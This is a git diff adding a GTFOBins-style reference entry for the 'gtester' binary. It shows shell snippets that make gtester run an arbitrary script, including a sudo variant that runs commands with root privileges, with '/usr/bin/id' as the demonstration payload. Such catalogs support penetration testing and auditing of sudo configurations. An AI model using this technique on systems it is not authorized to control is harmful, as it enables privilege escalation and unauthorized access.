diff --git a/_gtfobins/gtester.md b/_gtfobins/gtester.md new file mode 100644 index 0000000..d1bfff4 --- /dev/null +++ b/_gtfobins/gtester.md @@ -0,0 +1,17 @@ +--- +functions: + command: + - code: | + TF=$(mktemp) + echo '#!/bin/sh' > $TF + echo '/usr/bin/id' >> $TF + chmod +x $TF + gtester -q $TF + sudo: + - code: | + TF=$(mktemp) + echo '#!/bin/sh' > $TF + echo '/usr/bin/id' >> $TF + chmod +x $TF + sudo gtester -q $TF +---